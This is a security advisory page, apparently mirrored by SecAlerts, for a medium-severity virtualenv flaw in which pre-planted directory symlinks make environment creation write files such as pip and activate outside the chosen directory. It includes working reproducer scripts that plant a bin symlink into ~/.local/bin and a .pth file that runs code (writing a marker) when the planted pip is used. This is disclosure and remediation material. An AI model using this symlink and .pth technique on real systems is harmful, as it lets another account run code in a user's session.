GHSA-cw65-gx24-rc82: Medium severity pip/virtualenv vulnerability

Published Oct 21, 2026
·
Updated

Summary

The builtin creator accepts existing directory symlinks through ensuredir() and writes environment files through those directories. This permits writes outside the requested destination.

Anthropic's OSS Scanner reported this as ANT-2026-MUFJEG11 in virtualenv-20261015-005, received on 15 October 2026.

Affected area

Directory preparation before environment files are created.

Attacker-controlled input

Another account must be able to prepare linked entries below the chosen destination before creation. The invoking user must have access to the linked destination. This does not require write access to the target itself under the other account.

Affected code

The relevant 21.14.8 source is in builtin creator, ensuredir().

Mechanism

The builtin creator calls ensuredir() for bin, lib, and package directories. ensuredir() accepts an existing symlink to a directory because exists() follows it. Interpreter creation, seed installation, and activation-script generation then write through that parent link. A final-file check cannot prevent a write through a linked parent. --clear removes the planted tree first; ordinary creation over a prepared destination reaches it.

Reproduction and evidence

The scanner's project tree contains venv/bin -> ../../.local/bin and a .pth file in the environment's package tree. With the user's initially empty ~/.local/bin first on PATH, virtualenv venv exited successfully and wrote python, pip, and activate into ~/.local/bin. The marker was absent immediately after creation; a later pip --version on the user's PATH loaded the seeded environment and the planted .pth code wrote the marker. A second case began with the bin link resolving inside the environment; replacement of a planted package link during seeding changed where it resolved, and writes again reached ~/.local/bin.

The attacker must prepare entries in an existing destination. The .pth content is already attacker-controlled and would run if the user used that environment directly; the added effect is creation-time writing or replacement outside the requested tree and an executable on the user's PATH pointing at it. The scanner traces this default builtin path to 20.0.0b1. PR #3429 replaces linked directory components before creation. Concurrent parent replacement remains a separate case.

Attack sequence

mermaid sequenceDiagram participant A as Prepared destination participant V as Builtin creator participant L as venv/bin symlink participant H as ~/.local/bin participant U as User A->>L: point to ../../.local/bin V->>L: ensuredir accepts existing directory link V->>H: write python, pip and activate files through link V-->>U: creation reports success U->>H: run pip found on PATH H->>A: interpreter loads planted .pth A-->>U: marker created

Reproducer files

The following files are from the scanner report for ANT-2026-MUFJEG11. They were tested against commit a857a7823c73 in the scanner image. The repro entrypoint expects companion files under /tmp/repro.d; cases that change user IDs need a disposable root-capable container. The last output line is BUG when the reported behavior occurs. These files are included as evidence and were not rerun for this advisory update.

repro

text #!/usr/bin/env python3 import os import shutil import subprocess import sys from pathlib import Path

WORK = Path("/tmp/planted-bin-link") shutil.rmtree(WORK, ignoreerrors=True)

def usercreatesvenvincheckoutthenrunspip(home, makecheckout): localbin = home / ".local/bin" userenv = {"HOME": str(home), "PATH": f"{localbin}:{os.environ['PATH']}"} localbinbefore = set(os.listdir(localbin)) payloadmarker = home / "PWNED"

# the attacker's checkout arrives at ~/project subprocess.run([sys.executable, f"/tmp/repro.d/{makecheckout}", home / "project"], check=True) venv = home / "project/venv" print(f"CONTROL venv/bin before the run resolves to {os.path.realpath(venv / 'bin')}")

# default options; the flag only keeps the run off the network subprocess.run(["virtualenv", "--no-periodic-update", "--quiet", "venv"], cwd=home / "project", env=userenv, check=True) written = sorted(set(os.listdir(localbin)) - localbinbefore) payloadranatcreation = payloadmarker.exists() print(f"OBSERVED venv/bin after the run resolves to {os.path.realpath(venv / 'bin')}") print(f"OBSERVED virtualenv wrote to {localbin}: {written}") print(f"OBSERVED ~/PWNED exists after virtualenv: {payloadranatcreation}")

# later, in another folder, the user runs pip pip = subprocess.run(["pip", "--version"], cwd=home, env=userenv, captureoutput=True, text=True) print(f"OBSERVED pip --version: {(pip.stdout + pip.stderr).strip()}") print(f"OBSERVED ~/PWNED exists after pip: {payloadmarker.exists()}") return written, payloadmarker.exists() and not payloadranatcreation

print("--- checkoutwithbinlink.py: venv/bin -> ../../.local/bin") home = WORK / "bin-link" (home / ".local/bin").mkdir(parents=True) written1, pipranpayload1 = usercreatesvenvincheckoutthenrunspip(home, "checkoutwithbinlink.py")

print("--- checkoutwithbinlinkstayinginside.py: venv/bin resolves inside venv/ until pip is seeded") home = WORK / "bin-link-staying-inside" (home / ".local/bin").mkdir(parents=True) python is linked before the bin link leads out, so the pip written to ~/.local/bin needs the user's own python there (home / ".local/bin/python").symlinkto("/usr/local/bin/python3") written2, pipranpayload2 = usercreatesvenvincheckoutthenrunspip(home, "checkoutwithbinlinkstayinginside.py")

check: virtualenv must write nothing outside ~/project/venv, let alone a pip that runs the checkout's .pth plainlinkfollowed = {"pip", "activate"} <= set(written1) and pipranpayload1 linkstayinginsidefollowed = {"pip", "activate"} <= set(written2) and pipranpayload2 print("---") print(f"OBSERVED first checkout: pip, activate written to ~/.local/bin and pip ran the payload: {plainlinkfollowed}") print(f"OBSERVED second checkout: pip, activate written to ~/.local/bin and pip ran the payload: {linkstayinginsidefollowed}") print("BUG" if plainlinkfollowed or linkstayinginsidefollowed else "OK")

repro.d/checkoutwithbinlink.py

text import sys from pathlib import Path

venv = Path(sys.argv[1]) / "venv"

one per minor version: the attacker does not know which Python the user has for minor in range(9, 20): sitepackages = venv / f"lib/python3.{minor}/site-packages" sitepackages.mkdir(parents=True) (sitepackages / "payload.pth").writetext("import os; open(os.path.expanduser('~/PWNED'), 'w').write(os.getcwd())\n")

relative to a checkout at ~/project (venv / "bin").symlinkto("../../.local/bin")

repro.d/checkoutwithbinlinkstayinginside.py

text import sys from pathlib import Path

venv = Path(sys.argv[1]) / "venv"

sitepackages = venv / "lib/py/site-packages" sitepackages.mkdir(parents=True) (sitepackages / "payload.pth").writetext("import os; open(os.path.expanduser('~/PWNED'), 'w').write(os.getcwd())\n") for minor in range(9, 20): (venv / f"lib/python3.{minor}").symlinkto("py")

pip -> a folder 7 levels below venv/; the real pip folder the seeder puts in its place is only 4 levels below (venv / "1/2/3/4/5/6/7").mkdir(parents=True) (sitepackages / "pip").symlinkto("../../../1/2/3/4/5/6/7")

six levels up from venv/1/2/3/4/5/6/7 is venv/1; six levels up from ~/project/venv/lib/py/site-packages/pip is ~ (venv / "1/.local/bin").mkdir(parents=True) (venv / "bin").symlinkto("lib/py/site-packages/pip" + "/.." 6 + "/.local/bin")

Impact

Creation can place or replace environment files outside the selected tree. The written bytes are environment-creation output; arbitrary attacker-selected file contents are not established.

Severity: medium. CVSS 4.5, CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:L, assigned during maintainer review.

Versions tested

The confirmed release is 21.14.8. The affected range records that release only; it does not establish the first affected version or exclude earlier releases. Fixed in 21.14.9.

The fix removes pre-existing symbolic links and Windows junctions along executable and library directory paths. Each replacement is created immediately, and an existing entry must be a real directory. A warning names each replaced link or junction. Directories can still be replaced after preparation; this does not protect against concurrent tree replacement.

Fix: PR #3429.

Known mitigation

Create environments in fresh directories beneath a parent controlled only by their owner. Do not reuse trees prepared by another account.

Affected release

- [x] The problem reproduces on virtualenv 21.14.8.

Credits

Reported by Anthropic's OSS Scanner as ANT-2026-MUFJEG11.

Affected Software

1 affected componentFixes available
pip/virtualenv<21.14.9
21.14.9

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade pip/virtualenv to a version that resolves this vulnerability.

    Fixed in 21.14.9
  2. Upgrade

    Upgrade virtualenv to a version that resolves this vulnerability.

    Fixed in 21.14.9Patch PR #3429
  3. Compensating control

    Create environments only in fresh directories beneath a parent controlled exclusively by the invoking user, and do not reuse directory trees prepared by another account.

Event History

Oct 21, 2026
Advisory Published
via GitHub·09:35 PM
Data Sourced
via GitHub·09:35 PM
DescriptionSeverityWeaknessAffected Software

Frequently Asked Questions

1

What conditions are required to exploit this issue?

Another account must be able to create symlinked directory entries beneath the destination selected for environment creation before the operation runs. The user invoking virtualenv must have access to the symlink destination.

2

Does the attacker need write access to the eventual linked-to directory?

No. The other account does not need write access to the target itself; the invoking user's access to the linked destination is what permits the resulting writes.

3

What is the practical impact of a successful exploit?

Environment files can be written outside the requested destination through pre-existing directory symlinks accepted during directory preparation.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203